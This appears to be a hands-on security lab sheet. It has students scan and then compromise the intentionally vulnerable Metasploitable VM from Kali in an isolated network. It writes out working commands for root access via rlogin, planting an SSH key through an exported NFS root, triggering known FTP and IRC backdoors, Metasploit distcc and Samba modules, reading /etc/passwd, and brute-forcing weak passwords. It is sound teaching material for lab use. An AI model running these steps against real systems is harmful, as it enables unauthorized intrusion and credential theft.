1 Networking basics

1.1 Wireshark and its usage

Capture a visit to a website of your choice using Wireshark. Check and take notes of your PC's network configuration (ipconfig / ifconfig, route, arp). Analyze the captured trace using the comprehensive filter settings of Wireshark.

1.2 IP and MAC address spoofing

Try to spoof your PC's IP and/or MAC addresses. (See *http://www.irongeek.com/i.php?page=security/changemac*)

1.3 Explore Nmap

Use and explore Nmap (*http://nmap.org/*) in order to

(i) find other components attached to the LAN, their MAC and IP addresses
(ii) find services (open ports) on the found components
(iii)do an OS fingerprint analysis

What protocol mechanisms are exploited (what data packets are exchanged) in order to do such an analysis?

2 Exploitation of common vulnerabilities

For this part of the lab it is necessary to have the Metasploitable virtual machine running within Windows. The Virtual Box images are needed and should be downloaded. The Kali Linux system is supposed to be the attacking system and the Metasploitable VM is the vulnerable system under attack.

For usage at home the Virtal Box application and two Virtual box images can be used, they can be downloaded using the following URLs:

- Virtual Box: https://www.virtualbox.org/wiki/Downloads
- Metasploitable: https://sourceforge.net/projects/metasploitable/
- Kali Linux: https://www.kali.org/get-kali/

Configuration of the Metasploitable VM

- Open Virtual Box
- Import Metasploitable image
- Make sure that the network interface is configured as host-only

Kali VM

- Download the latest Kali Linux 64-bit image
- Create new VM (Linux 64-bit/Ubuntu)
- Insert the downloaded Kali-Linux.iso and start the system in the Live-Mode
- Make sure that one network interface is configured as host-only and the other using NAT

2.1 IP configuration

After the Metasploitable virtual machine boots, login to the console with username ***msfadmin*** and password ***msfadmin***. From the shell identify the IP address and document the obtained information.

2.2 Service discovery

From our attack system (Kali Linux), we should first identify the open network services on the vulnerable VM using again Nmap. What is the correct command to scan all TCP ports on the Metasploitable VM.

Use the command and document the output. What ports are open, and which services are running?

2.3 Basic services

2.3.1 "r" services

TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this run the following command as your local root user.

```
# rlogin -l root 192.168.99.131
```

What is the output and the result? Do you encounter any problems, if yes, try to find the solution?

2.3.2 NFS service

The next service we are looking at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported.

```
root@kali:~# rpcinfo -p 192.168.99.131
root@kali:~# showmount -e 192.168.99.131
```

Since getting access to a system with a writeable filesystem like this is trivial, just use the following command sequence and login using ssh afterwards?

```
root@kali:~# ssh-keygen
root@kali:~# mkdir /tmp/r00t
root@kali:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@kali:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@kali:~# umount /tmp/r00t
```

What did you previously do by executing the commands, describe all necessary steps.

Try to login using ssh, is it working as expected?

2.4 Available backdoors

2.4.1 Backdoor port 21

Find out what service is running on port 21?

The particular version of the service contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but quite a few people downloaded and used it. If a username is sent that ends in the sequence ":)", the backdoored version will open a listening shell on port 6200.

Try this with first by using telnet, then try to use an existing Metasploit Framework module to automatically exploit it. What are the required steps and what is the result?

2.4.2 IRC backdoor

On port 6667, Metasploitable2 runs the UnrealRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.

```
root@kali:~#msfconsole


msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
```

Analyze the executed commands and steps and capture the traffic using Wireshark. Describe how the module works (hint: it is possible to view the module using the `edit` command when the module is loaded)?

2.4.3 Ingreslock backdoor

The old standby "ingreslock" backdoor is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Use telnet to access it, write down the command and the result?

2.5 Unintentional Backdoors

In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature.

2.5.1 distcc backdoor

The first of which installed on Metasploitable2 is distccd. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.

```
root@kali:~# msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
```

What is the result?

2.5.2 Samba backdoor

Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.

```
root@ubuntu:~# smbclient -L //192.168.99.131
```

Document the result of your command.

```
root@kali:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
msf auxiliary(samba_symlink_traversal) > exit

root@kali:~# smbclient //192.168.99.131/tmp
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
```

What are you able to see, describe the content?

2.6 Weak Passwords

In additional to the more blatant backdoors and misconfigurations, Metasploit2 has terrible password security for both system and database server accounts. The primary administrative user ***msfadmin*** has a password matching the username.

By discovering the list of users on this system, as done previously, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts.

Are you able to identify other weak system accounts as well as access to services, which are configured on the system?